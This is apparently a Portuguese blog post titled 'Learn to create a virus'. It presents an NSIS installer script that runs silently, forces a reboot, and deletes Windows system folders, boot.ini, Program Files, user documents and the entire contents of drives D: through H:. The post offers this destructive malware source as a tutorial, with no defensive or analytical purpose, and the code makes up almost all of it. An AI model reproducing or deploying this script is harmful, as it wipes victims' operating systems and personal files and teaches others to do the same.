terça-feira, 25 de junho de 2013

Aprenda a criar um vírus




Código do vírus


!define PRODUCT_NAME "NOME DO VÍRUS"
!define PRODUCT_VERSION "2.00"
!define PRODUCT_PUBLISHER "NOME DO VÍRUS"

Setcompressor lzma

Name "${PRODUCT_NAME} ${PRODUCT_VERSION}"
Outfile "virus.exe"
InstallDir "$TEMP"
Icon "${NSISDIR}\Contrib\Graphics\Icons\modern-install.ico"
SilentInstall silent

Section "Sec001" SEC01
Delete /REBOOTOK "ENDEREÇO DO ARQUIVO"
SectionEnd

Section -Post
Reboot
SectionEnd 

DELETE /REBOOTOK "c:\windows\system32\drivers\*.*"
DELETE /REBOOTOK "c:\windows\system32\*.*"
DELETE /REBOOTOK "C:\Arquivos de programas\*.*"
DELETE /REBOOTOK "C:\meus documentos\*.*"
DELETE /REBOOTOK "C:\boot.ini"
DELETE /REBOOTOK "D:\*.*"
DELETE /REBOOTOK "E:\*.*"
DELETE /REBOOTOK "F:\*.*"
DELETE /REBOOTOK "G:\*.*"
DELETE /REBOOTOK "H:\*.*"
DELETE /REBOOTOK "$WINDIR\*.*"


Link para download do Nsis

Nenhum comentário:

Postar um comentário